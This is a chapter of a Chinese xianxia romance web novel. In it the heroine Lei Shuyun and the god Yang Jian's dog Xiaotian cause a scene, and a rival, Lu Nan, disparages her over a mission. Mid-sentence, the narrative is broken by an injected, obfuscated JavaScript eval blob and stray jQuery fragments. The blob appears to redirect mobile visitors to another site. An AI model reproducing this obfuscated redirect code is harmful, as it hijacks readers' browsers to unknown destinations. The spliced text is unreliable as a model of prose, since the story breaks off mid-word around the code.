27.第 27 章
作品:《都怪杨戬实在貌美》 雷淑韫一般上午留在雷公殿,继续跟老雷公学习如何使用雷公锤,下午就会去司律殿,跟着张伯时熟悉杨戬对司律殿的布置。
通过张伯时的口中,雷淑韫才了解,原来那日在门口遇见杨戬时,他们的确刚经过了一场恶战。
张伯时道:“天兵把难啃的硬骨头留给了司律殿和雷公殿,我们本来是打算去千机山捉拿一只妖,不知道小仙子有没有听说过,是一只引灯妖。”
“那引灯妖本体乃是老君身边的长明灯,这妖怪本身实力并不算强劲,但难就难在这引灯有制造幻境、心魔的功效。”
他苦笑了一番:“这倒是难倒了我们,毕竟谁没有心魔呢?”
雷淑韫怔了怔:“可我看神君倒是轻松的很。”
张伯时哽住,随后道:“我们各人被拉入各自的心魔之中,至于神君他……应该没有心魔吧,毕竟他连衣服都没脏,出来时还不忘奚落我们。”
“他奚落你们什么了?”雷淑韫兴致勃勃地问。
张伯时远目望向翻滚的云海:“神君说,‘一个破灯,灯芯还没哮天犬的毛长,就把你们困住了?’”
雷淑韫忍不住笑了。
说狗子,狗子到,哮天犬雄赳赳气昂昂地从神君的议事殿中出来,好奇地看着雷淑韫。
雷淑韫还记得在锁妖塔的废墟下,听见了哮天犬的“汪汪”声,以及它把冰凉凉的鼻子凑近自己的脸上的触感,她扬着笑正想过去逗弄狗子,就被张伯时拦住了。
“诶,小仙子这是要去做什么?”他连忙拉着雷淑韫。
雷淑韫莫名:“我去看看哮天犬。”
张伯时对她挤眉弄眼:“哮天犬可不是什么好相与的狗,它跟神君在一起征伐久了,脑子里不是吃就是杀,小仙子过去是想被吃还是被杀?”
雷淑韫震撼:“这么可怕么?”
张伯时就冲旁边努努嘴:“仙子你瞧——”
雷淑韫扭头看过去,议事殿的右侧有几个人偶,人偶后面是稀碎的柴火。
雷淑韫也稀奇:“这柴火堆着是做什么,莫非司律殿还劈柴做饭呢?”
“当然不是了,那些哪里是柴火啊,”他低声对雷淑韫说,“那都是哮天犬的玩具,人偶被咬烂了,就丢在那里,变成了一堆柴火似的东西……小仙子可知,那些人偶都是千年乌木做的,这厮牙口着实惊人啊。”
雷淑韫大为惊讶。
哮天犬好奇地看他们半天,见他们在自己面前小声咕叽咕叽着什么,它虽然听不大清,但眉眼官司是看懂了。
张伯时又在用它吓别人了!
哮天犬龇牙咧嘴地上前凶他。
张伯时果然害怕,拉着雷淑韫就要把她带走,可惜他这边拉着雷淑韫,哮天犬那边也紧急咬住了雷淑韫的衣摆——彼时雷淑韫还不是正经雷神,穿着的衣服与寻常女仙并无区别,乃是织女所制的锦云裙。
两厢争执着,哮天犬都没怎么用力,那一块裙子就已经被撕了下来。
哮天犬有些茫然,不明白这衣服怎么就稀碎了。
张伯时傻了,天庭中的女仙,除了瑶池,侍奉在天后身边的那些擅舞的花仙之外,几乎都是长袖长裙包裹得严实,何况雷淑韫是雷公殿来的仙子,是正儿八经有职分的女仙,哮天犬居然把人家裙子咬破了!
他更是惊惶,喊着“非礼勿视”就扭头了:“小仙子在此稍等我片刻,我去给你找一件新衣服来。”
但、但司律殿都是男仙,并无女仙衣裙样式,张伯时心想,恐怕只能给她找一件男仙的衣服了。
他慌慌张张地走了,但裙子被撕破的雷淑韫,以及叼着雷淑韫的裙子碎片玩儿的哮天犬,就都站在了议事殿前面。
其实张伯时有些大惊小怪了,那一小片裙子算得了什么,不过是刚刚露出膝盖罢了。
贪玩的哮天犬把嘴里的裙子碎片又咬了个稀碎,直到这些软塌塌的布料再也咬不住,就无聊地坐在了旁边。
它歪头看着雷淑韫,总觉得这个人身上气味很熟悉,应该是见过,但是想不起来了。
再仔细闻闻,或许能想起来。
狗子上前,用鼻子蹭了蹭她的小腿肚。
雷淑韫不害怕,只是见他好像跟什么较劲起来,一边嗅着她的小腿,一边龇牙咧嘴,怎么说呢,这个场面看上去,确实像是下一秒就要咬她了。
——哮天犬:不对啊,怎么想不起来呢,明明这么熟悉!
雷淑韫担心哮天犬给她一口,就使了个术法,把地上那些稀碎的布料团成了团,一个布球就此成了,她用布球在哮天犬面前晃了晃,果然吸引了它的注意力。
雷淑韫心想,狗子还是狗子。
她朝前丢过去,狗子的腿比脑子反应快,“咻”的一下就朝球的方向冲过去了。
等它“哐啷”撞开了议事殿的门,一人一狗才意识到大事不妙。
议事殿大门被打开,里面只有二人,雷淑韫看得真切。
首座上坐着杨戬,而旁边站的人竟然还是她的熟人——鹿南。
听到声音,鹿南首先转头看向外面,目光扫过了狗子,又扫过她,最终顶格在她裸露的小腿上,脸上闪过讽刺。
而哮天犬秉持着来都来了的态度,犹豫片刻,还是进去把布球叼着,连尾巴都不摇了,小心翼翼地从议事大殿退出来,甚至妄图用它的狗爪子把议事殿的大门关上。
它当然成功不了了,就没见过哪个狗能用爪子能关门的。
神君杨戬慢条斯理地抬头,执笔的手也停下了,他先是瞧了瞧哮天犬,低声念了句:“蠢狗。”
哮天犬被骂了,立马呜呜地退出来,也不指望能用它的狗爪子关门。
倒是鹿南讥讽地看着雷淑韫:“我当淑韫仙子一穷二白的,是如何从掌灯仙侍起家,靠什么手段得雷公大人眷顾,原来是……”
他瞥了一眼雷淑韫的小腿,未尽的言下之意让她感到恶心。
雷淑韫负手,露出个不卑不亢的笑:“我记得,雷公大人似乎叮嘱了鹿南大人要闭门思过,想不到闭门闭的是司律殿议事殿的门,思过思的是神君。”
鹿南冷着脸:“口无遮拦的东西,也轮得到你评议本仙?”
雷淑韫笑:“鹿南大人此言差矣,我只是在逗狗玩罢了。”
“狗?你竟敢把本仙跟狗比?你好大的胆——”鹿南话没说完,因为哮天犬阴沉着脸色看向了他。
他心中犯怵,神君养的狗好像是叫哮天犬,果然如天庭传言,凶戾的很。他在狗子凶神恶煞的目光中,终究没敢把话说完。
倒是雷淑韫抬手,哮天犬嘴里叼着的布团又变成了一只布鸟,灵巧地飞到了外面,落在她肩上。
逗的是哪个狗玩,她没明说,鹿南又骂不得哮天犬,更是不能自己对号入座。
他恼恨地看着雷淑韫:“好一个伶牙俐齿。”
雷淑韫敬谢不敏。
鹿南转而又看向了杨戬:“神君,方才小仙所说,想必您也心中有数。那逃亡到酆都的焚月鬼,是擅长玩弄情欲的恶鬼,一着不慎,满盘皆输,与其带着一个逗狗也能逗得衣衫不整的掌灯仙侍,不如另择同行人。”
他又说道:“况且,若是神君钦点,想必雷神大人也不会有何微词。”
杨戬就这么百无聊赖地看他们唇枪舌剑地往来,哪怕听到鹿南对他说话,他也没回应,只是抬手,哮天犬就“哒哒”地跑到他身边了。
鹿南等了半晌,见神君专注地逗狗,似乎没有回他话的意思,脸上就更是不光彩。
雷淑韫也挑眉,一点儿不给鹿南台阶下,就是要看他如何出丑。
两人正僵持不下,没想到杨戬却说话了。
他道:“本君不懂雷公殿内部事宜,更不懂雷公安排何人焚月鬼。”
鹿南与雷淑韫都看向他。
杨戬抬眼,目光看向雷淑韫,但并未与她对视,只是神君既不像鹿南那样讥诮地望着她的裙子,也不像张伯时那样避之不及地“非礼勿视”。
他眼中既无欲念,也无情愫,有那样平淡而又凉薄的目光落在身上,仿佛厚重的雪无情地掩埋了秋日。
杨戬不愧于他神君的名号,行事为人都正像是无欲无求的神仙。
难怪张伯时说,在引灯妖的幻境下,神君仍能全身而退,原来是根本没有心魔。
无欲无求的神君道:“但,你方才有几句话也在理,焚月鬼擅长玩弄情欲,倘若不能小心提防,的确容易满盘皆输。”
神君将目光从雷淑韫肩上的布鸟收回来,骨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049232|176291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
节分明的手拍了拍哮天犬的脑袋,冷心冷情地说:“本君会考虑你的建议。”
他这样说着,鹿南脸上登时出现了喜不自胜的神色,弯腰拜他:“那小仙恭候佳音。”
鹿南趾高气昂地从议事殿中走出来,路过雷淑韫时,嗤笑了一声:“你这女人如此不检点,还要与我争?”
雷淑韫平心静气地瞥他一眼,又很快收回目光,仿佛多看一眼都是脏了。
鹿南被这目光激起怒火,冷笑道:“等我做了雷神,必不会轻易放过你。”
雷淑韫根本不理他,鹿南“你你你”了半天,最终铁青着脸离开了。
鹿南离开后,她站在议事殿的外面,定定望着高坐在首座的神君。
神君姿态闲散,无论是刚杀了妖,还是刚定了谁的生死,都仿佛只是顺手。
他杀伐如此,想必救人也是如此。
雷淑韫接受了这一切,心头如醋瓶子倒翻,浸满了酸涩,但又觉得神君也没做错什么,满腔的别扭,最终却不知该作何感想。
只是她此刻看着首座的神君,还是鬼迷心窍一般,追问了一句:“神君还不曾了解过我,就凭鹿南几句话,便假定我去不了酆都么?”
她未说完下半句话。
——神君这样,对我不公,有失偏颇。
杨戬的目光终于放在了她的脸上,但那目光与看鹿南的目光并无二致。
他收回了目光,困惑似的,问道:“本君为何要了解你?”
雷淑韫的心跳都停了一拍。
雷淑韫心想,她与鹿南斗了这么久,鹿南所有手段给她造成的打击,还不如杨戬这一句来的重。
她在心中不断地告慰自己,神君这样说,是被鹿南给忽悠了,他也不知道那裙子是被哮天犬咬碎的,他也是出于抓住焚月鬼的考量,何况他其实并没有直接说明她不能去酆都,她问这句话反倒显得不成熟了。
总之,都怪鹿南小人得志,都是他的错,与神君有何关系。
可在心里她仍是止不住地委屈。
好在,雷淑韫还不至于被几句话击倒。
她仍是挺直了脊背,哪怕站在下处,哪怕裙子被撕了一道口子,也不减堂堂正正的风度,她笑了笑,对杨戬说:“神君说的是,既然如此,小仙告退了。”
她转身走了。
杨戬的虎口就被哮天犬咬了一口,他挑眉:“你做什么?”
哮天犬呜呜咽咽,只恨自己不会说话。
除了主人之外,那位女仙是唯一不怕它的神仙,它都能用鼻子贴着她——反观方才那个鹿,它还没龇牙就把他吓得够呛,而且那位女仙还陪它玩。
何况,它听下来,感觉主人似乎是介怀衣服的事情,那衣服是它不小心撕咬的,与那位女仙无关。
杨戬被咬了一口,懒得再逗它玩,推了推它:“你出去吧。”
哮天犬纵然百般话想说,但只能大声“汪”了一句,只恨主人是个木头,听不懂狗言狗语。
出去就出去。
它哼哼唧唧地往外迈着步子,正好,它去找那位女仙道个歉,都怪它,让主人对她的印象变差了。
不过问题不大,主人若真把这位女仙换成了刚刚那头蠢鹿,它肯定天天盯着那头蠢鹿咬。
哮天犬“哒哒哒”地跑开,杨戬见它目标格外明确,难得来了兴致,开了第三眼,要看它究竟要做什么。
哮天犬一路向外,循着雷淑韫身上的气味,停在了一间房门前,它远远就看见拿衣服姗姗来迟的张伯时,这张伯时就不提了,更是怕它,它才刚出现,原本站在门口的张伯时就立马溜之大吉。
不过也方便了哮天犬,它后足立在地上,两只前爪推开了门。
雷淑韫果然在里面。
她刚用一支银簪固定好了长发。
这位仙子不再穿织女所制作的锦云纱裙,反而换了男装。
黑金相间的袍子显得她身形颀长利落,她嘴角扬了个笑:“你怎么过来了,哮天犬。”
哮天犬愣了愣,走过去,在她伸出的掌心嗅了嗅。
她换衣服了,但她还是她。
哮天犬心想,果然不该咬她的裙子的。
议事殿中,杨戬似乎觉得有些无趣,闭上了纵目。